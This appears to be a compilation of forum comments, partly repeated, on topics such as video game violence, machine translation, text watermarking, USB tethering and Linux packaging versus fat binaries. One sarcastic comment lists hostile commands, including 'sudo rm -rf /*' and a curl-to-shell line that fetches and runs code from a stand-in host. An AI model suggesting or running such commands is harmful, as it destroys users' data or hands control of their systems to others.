Bottom line. We, the people who don't live in the country where you are currently producing, want to -buy- your content or at least look at the ads.
Your countries are often at fault themselves. For example, many European nations insist on translating US programs into the local language. There are also many regulations, agreements, taxes, tariffs, guilds, copyright limitations, licensing fees, performance fees, etc. that effectively end up necessitate negotiating separate agreements with every country.
That doesn't change the fact that the hill metaphor doesn't work when applied to learning curves: steeper means easier.
Since this confuses people, maybe one should reverse the axes (vertical time, horizontal skill) and change the name; then steep and shallow work like they do for hills.
You could write a little script that lets you write LaTeX equations but leave out the backslashes. I don't think you're going to get anything much faster than that for computer input.
You could write them down on paper and then scan them or typeset them later...
Would you be concerned about a kid that constantly drew pictures of themself hurting others? Or an adult who spent their whole time watching the most sadistic and violent porn possible?
Does it bother you that people join the military, knowing that there's a good chance they will have to kill? Does it bother you that the military uses psychological techniques, including specially created video games, to overcome the inhibition of recruits to kill? Do you think the soldiers that come back should be let loose on society, given that they have been trained to kill and to overcome their inhibitions to killing?
I mean, I'm just trying to understand what exactly it is that disturbs you here. Seems to me far worse things than an occasional video game are accepted and sanctioned by society.
If you say something which disgusts me, it is not inconsistent with "free" speech for me to express my disgust
And it's not inconsistent with free speech for me to say that you're barking up the wrong tree.
People saying that this footage disgusts them is not only legitimate, it's healthy and (IMHO) reassuring.
Well, then let me express my disgust at a couple of books that are full of murder, rape, and genocide: the Bible, the Koran, and the Torah. Please join me in expressing my disgust for them.
Furthermore, you seem to suggest that the player has no level of investment or involvement in the events that occur inside modern games, which is patently wrong.
He probably does. But I suspect video game players generally have less investment in their game than adherents of the aforementioned books have in their superstitions.
The point being: why don't you worry about the big, dangerous stuff first, before getting to the harmless entertainment.
Google translate is a cheesy free tool that does not compare with professional translation tools.
Google has some of the top people in statistical machine translation working for them.
Last time I checked, the state of the art was to obtain documents written in multiple languages, and train a neural network (or something similar) based on those manual translations.
And that's what Google does, only they have a lot more data than anybody else.
Speech-to-speech translators have been around for a while; the problem with them is that they don't work well. Imagine the an unholy union between Google Translate and "Dear Aunt, let's set so double the killer". Or the Hungarian phrase book; it amounts to the same thing.
Making an iPhone version serves two purposes, though: (1) lots of press coverage and (2) lots of user feedback and testing.
If we're talking Unicode, the possibilities are nearly endless since there are so many denormalized forms of Unicode.
I think Amazon is talking about something that survives displaying. In that case, either changing the whitespace or moving the characters around works.
If it needs to survive OCR, then misspelling, synonyms, or changes to punctuation are the obvious choices.
First of all, many Nokia Symbian phones do not recharge via their USB data connector, so you get a choice whether to recharge it while tethering or not.
If you do plug its power connector in, the phone will get recharged from the laptop and when it's fully charged, it will simply be powered by the laptop, like a USB 3G modem. The total power drain of the combo will be significantly less than if you use WiFi because neither the phone nor the laptop need to have WiFi enabled. And the phone's power drain is small compared to the laptop, so recharging it from the laptop doesn't shorten the laptop's battery life much.
When I have a choice, I always power the phone from the laptop. Anything else is just stupid because you soon end up with a dead phone and a laptop that can't connect to the Internet anymore because the phone is dead... or you need to recharge the phone from the laptop anyway.
Sorry, but I've used both for a while, and USB tethering really is the way to go. And I imagine it's even more so on Android, whose WiFi and power management seems to be less efficient than Nokia's.
But no, they did not patent *doing* this, they patented the *way* that they do this.
You're incorrectly assuming that a common shorthand for talking about those kinds of patents implies ignorance of the patent system.
To spell it out for you: the "way" they patented this is an obvious engineering solution to the actual problem they are trying to solve. If you gave the problem of "alter the text so that each customer gets a unique copy" to a CS undergraduate, this is the kind of engineering solution they'd come up with.
(Actually, the first engineering solution they'd come up with is to alter the whitespace.)
If you don't get it in the store or built-in, it might as well not exist for most users. Fiddling with root access on the phone, or worse, is simply too much trouble.
WiFi and Bluetooth are also a PITA: it's one more point of failure and a big drain on battery life. USB tethering (hence the name) is really the best way to go.
You're right: Symbian and WinMo are dead, but decent support for tethering is still missing from Android. Let's hope that gets fixed soon. I currently still carry an extra Symbian handset around just to use as a modem, and I'd like to dump it.
Symbian and WinMo phones already work as WiFi access points. The only reason iPhones, Android, and Blackberry don't is because their corporate masters don't let them.
and in what field do you think users would be more "appreciative"?
Unless you already know a field you really care about deeply and that you have wanted to move into for a while, I think switching fields is probably not going to help you.
Geocities wasn't all that different from MySpace and Facebook: it gave people a simple way to create a web presence. It was lacking the "viral" aspect of the social networking sites, but arguably, that may have been a good thing...
It explains why that is not a good choice for them and what needs to be fixed if that's the model that is to be used going forward.
Creating a standard package repository is a hell of a lot easier than trying to create software bundles that work across all Linux systems.
What you mean is, you can create special versions of software that will work from a network drive or flash drive but no one does because it is hard.
No, what I mean is that you can already do what a fat binary does; introducing a new format doesn't make it any easier or harder.
Just because a function is not implemented in Linux apps
OS X's simplistic approach to packaging is not a "function", it's a lack of a function. By restricting its world mostly to a handful of computer models and to simple desktop applications, Apple can get away with a simplistic approach to packaging... most of the time. Of course, many applications still need installers and then lack a good uninstaller.
In the mean time users on OS X can and do IM full applications to other users on different platforms and the application "just works" while they shake their heads at those of us on Linux suffering while trying to accomplish the same task.
The fact that you can do that is an illusion created by the Finder, which bundles up trees of files behind your back; in reality, OS X applications a complicated collection of files in a directory tree. The Gnome and KDE desktops could easily create the same illusion for Linux apps; that doesn't require a new format. I'm glad they don't because it's a misfeature that should be banished because it's more trouble than it's worth.
It's safer and easier to just say "You want program XYZ? Just use this URL."
First, different versions of Linux use different package managers, most with incompatible package formats and repository specifications...
Fat binaries address none of those problems.
I disagree. They're still useful for running apps from network and removable drives.
Well, and Linux supports them in numerous ways. You can pack any combination of binaries, shared libraries, and resources into any of a number of types of bundles. Unlike the Mac, you can even put all of that into a single file. There are tools available for doing that in numerous different ways.
All of that is rarely used because it's just not very useful.
you know, just trick the good ol'.DEB package format to include several archs, then let to dpkg decide wich binaries to extract.
That's unnecessary, since the repository manager worries about architectures: it downloads the correct.deb file for your architecture. It's better than a "fat.deb" format.
The term "free" originally meant "not in bondage" and "without obligations" (also "noble", "beloved"), going back to Old English and Germanic roots. That's the original sense, it's still the primary sense, and the FSF is using it in that sense.
"Free" in the sense of "free of cost" appeared in the 16th century, and that still is only a secondary sense of the word.
The way you should install non-free applications on Linux is to add the company's repository to your software sources. That way, you get automatic selection of the right binary and automatic updates. Some companies already support that.
Long term, I expect that SuSE, Ubuntu/Canonical, and RedHat will be offering app stores that make selling and buying commercial Linux apps as easy as iPhone apps.
Fat binaries are a throwback to the past; they aren't needed in the era of app stores and package management.
Linux doesn't need fat binaries because the package manager automatically installs the binaries that are appropriate for the machine.
OS X needs fat binaries because it doesn't have package management. I wish people would stop trying to bring OS X (mis)features over to Linux. If I wanted to use OS X, I'd already be using it.
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Bottom line. We, the people who don't live in the country where you are currently producing, want to -buy- your content or at least look at the ads.
Your countries are often at fault themselves. For example, many European nations insist on translating US programs into the local language. There are also many regulations, agreements, taxes, tariffs, guilds, copyright limitations, licensing fees, performance fees, etc. that effectively end up necessitate negotiating separate agreements with every country.
How do I not have an expectation of privacy in that transaction?
Because the judge just decided that people could look at your mail without you knowing. QED.
(Yes, it's circular.)
That doesn't change the fact that the hill metaphor doesn't work when applied to learning curves: steeper means easier.
Since this confuses people, maybe one should reverse the axes (vertical time, horizontal skill) and change the name; then steep and shallow work like they do for hills.
You could write a little script that lets you write LaTeX equations but leave out the backslashes. I don't think you're going to get anything much faster than that for computer input.
You could write them down on paper and then scan them or typeset them later...
Would you be concerned about a kid that constantly drew pictures of themself hurting others? Or an adult who spent their whole time watching the most sadistic and violent porn possible?
Does it bother you that people join the military, knowing that there's a good chance they will have to kill? Does it bother you that the military uses psychological techniques, including specially created video games, to overcome the inhibition of recruits to kill? Do you think the soldiers that come back should be let loose on society, given that they have been trained to kill and to overcome their inhibitions to killing?
I mean, I'm just trying to understand what exactly it is that disturbs you here. Seems to me far worse things than an occasional video game are accepted and sanctioned by society.
If you say something which disgusts me, it is not inconsistent with "free" speech for me to express my disgust
And it's not inconsistent with free speech for me to say that you're barking up the wrong tree.
People saying that this footage disgusts them is not only legitimate, it's healthy and (IMHO) reassuring.
Well, then let me express my disgust at a couple of books that are full of murder, rape, and genocide: the Bible, the Koran, and the Torah. Please join me in expressing my disgust for them.
Furthermore, you seem to suggest that the player has no level of investment or involvement in the events that occur inside modern games, which is patently wrong.
He probably does. But I suspect video game players generally have less investment in their game than adherents of the aforementioned books have in their superstitions.
The point being: why don't you worry about the big, dangerous stuff first, before getting to the harmless entertainment.
Don't encourage him; he's had that fantasy for a while, he is just looking for an excuse to unleash it.
Google translate is a cheesy free tool that does not compare with professional translation tools.
Google has some of the top people in statistical machine translation working for them.
Last time I checked, the state of the art was to obtain documents written in multiple languages, and train a neural network (or something similar) based on those manual translations.
And that's what Google does, only they have a lot more data than anybody else.
Speech-to-speech translators have been around for a while; the problem with them is that they don't work well. Imagine the an unholy union between Google Translate and "Dear Aunt, let's set so double the killer". Or the Hungarian phrase book; it amounts to the same thing.
Making an iPhone version serves two purposes, though: (1) lots of press coverage and (2) lots of user feedback and testing.
Good job on the PR... :-)
If we're talking Unicode, the possibilities are nearly endless since there are so many denormalized forms of Unicode.
I think Amazon is talking about something that survives displaying. In that case, either changing the whitespace or moving the characters around works.
If it needs to survive OCR, then misspelling, synonyms, or changes to punctuation are the obvious choices.
First of all, many Nokia Symbian phones do not recharge via their USB data connector, so you get a choice whether to recharge it while tethering or not.
If you do plug its power connector in, the phone will get recharged from the laptop and when it's fully charged, it will simply be powered by the laptop, like a USB 3G modem. The total power drain of the combo will be significantly less than if you use WiFi because neither the phone nor the laptop need to have WiFi enabled. And the phone's power drain is small compared to the laptop, so recharging it from the laptop doesn't shorten the laptop's battery life much.
When I have a choice, I always power the phone from the laptop. Anything else is just stupid because you soon end up with a dead phone and a laptop that can't connect to the Internet anymore because the phone is dead... or you need to recharge the phone from the laptop anyway.
Sorry, but I've used both for a while, and USB tethering really is the way to go. And I imagine it's even more so on Android, whose WiFi and power management seems to be less efficient than Nokia's.
But no, they did not patent *doing* this, they patented the *way* that they do this.
You're incorrectly assuming that a common shorthand for talking about those kinds of patents implies ignorance of the patent system.
To spell it out for you: the "way" they patented this is an obvious engineering solution to the actual problem they are trying to solve. If you gave the problem of "alter the text so that each customer gets a unique copy" to a CS undergraduate, this is the kind of engineering solution they'd come up with.
(Actually, the first engineering solution they'd come up with is to alter the whitespace.)
If you don't get it in the store or built-in, it might as well not exist for most users. Fiddling with root access on the phone, or worse, is simply too much trouble.
WiFi and Bluetooth are also a PITA: it's one more point of failure and a big drain on battery life. USB tethering (hence the name) is really the best way to go.
You're right: Symbian and WinMo are dead, but decent support for tethering is still missing from Android. Let's hope that gets fixed soon. I currently still carry an extra Symbian handset around just to use as a modem, and I'd like to dump it.
Symbian and WinMo phones already work as WiFi access points. The only reason iPhones, Android, and Blackberry don't is because their corporate masters don't let them.
and in what field do you think users would be more "appreciative"?
Unless you already know a field you really care about deeply and that you have wanted to move into for a while, I think switching fields is probably not going to help you.
But here are some even simpler social engineering ideas:
* tell people to replace /bin/sh with a binary you send them in the mail
* tell people to type sudo rm -rf /*
* tell people to type "curl http://yoursite.com/hack | /bin/sh"
Geocities wasn't all that different from MySpace and Facebook: it gave people a simple way to create a web presence. It was lacking the "viral" aspect of the social networking sites, but arguably, that may have been a good thing...
It explains why that is not a good choice for them and what needs to be fixed if that's the model that is to be used going forward.
Creating a standard package repository is a hell of a lot easier than trying to create software bundles that work across all Linux systems.
What you mean is, you can create special versions of software that will work from a network drive or flash drive but no one does because it is hard.
No, what I mean is that you can already do what a fat binary does; introducing a new format doesn't make it any easier or harder.
Just because a function is not implemented in Linux apps
OS X's simplistic approach to packaging is not a "function", it's a lack of a function. By restricting its world mostly to a handful of computer models and to simple desktop applications, Apple can get away with a simplistic approach to packaging... most of the time. Of course, many applications still need installers and then lack a good uninstaller.
In the mean time users on OS X can and do IM full applications to other users on different platforms and the application "just works" while they shake their heads at those of us on Linux suffering while trying to accomplish the same task.
The fact that you can do that is an illusion created by the Finder, which bundles up trees of files behind your back; in reality, OS X applications a complicated collection of files in a directory tree. The Gnome and KDE desktops could easily create the same illusion for Linux apps; that doesn't require a new format. I'm glad they don't because it's a misfeature that should be banished because it's more trouble than it's worth.
It's safer and easier to just say "You want program XYZ? Just use this URL."
First, different versions of Linux use different package managers, most with incompatible package formats and repository specifications ...
Fat binaries address none of those problems.
I disagree. They're still useful for running apps from network and removable drives.
Well, and Linux supports them in numerous ways. You can pack any combination of binaries, shared libraries, and resources into any of a number of types of bundles. Unlike the Mac, you can even put all of that into a single file. There are tools available for doing that in numerous different ways.
All of that is rarely used because it's just not very useful.
you know, just trick the good ol' .DEB package format to include several archs, then let to dpkg decide wich binaries to extract.
That's unnecessary, since the repository manager worries about architectures: it downloads the correct .deb file for your architecture. It's better than a "fat .deb" format.
The term "free" originally meant "not in bondage" and "without obligations" (also "noble", "beloved"), going back to Old English and Germanic roots. That's the original sense, it's still the primary sense, and the FSF is using it in that sense.
"Free" in the sense of "free of cost" appeared in the 16th century, and that still is only a secondary sense of the word.
The way you should install non-free applications on Linux is to add the company's repository to your software sources. That way, you get automatic selection of the right binary and automatic updates. Some companies already support that.
Long term, I expect that SuSE, Ubuntu/Canonical, and RedHat will be offering app stores that make selling and buying commercial Linux apps as easy as iPhone apps.
Fat binaries are a throwback to the past; they aren't needed in the era of app stores and package management.
Just get a low-end Eee PC; configured right, they consume only a few watts.
If you want something even cheaper and smaller, get an NSLU2 (but they're a little more work to install on).
So when you buy a game for Linux, or install a closed source binary, there's a magic "package manager" that works every time?
Yes. The vendor's repository gets added to your repository list. Think App Store for the desktop, only better and without Apple's insidious control.
Drag the application into the Applications Folder. To uninstall, reverse the process. Why must you complicate things?
Why don't you ask all the companies (including Apple) that make you go through a wizard and install crap all over the system why they do it.
Linux doesn't need fat binaries because the package manager automatically installs the binaries that are appropriate for the machine.
OS X needs fat binaries because it doesn't have package management. I wish people would stop trying to bring OS X (mis)features over to Linux. If I wanted to use OS X, I'd already be using it.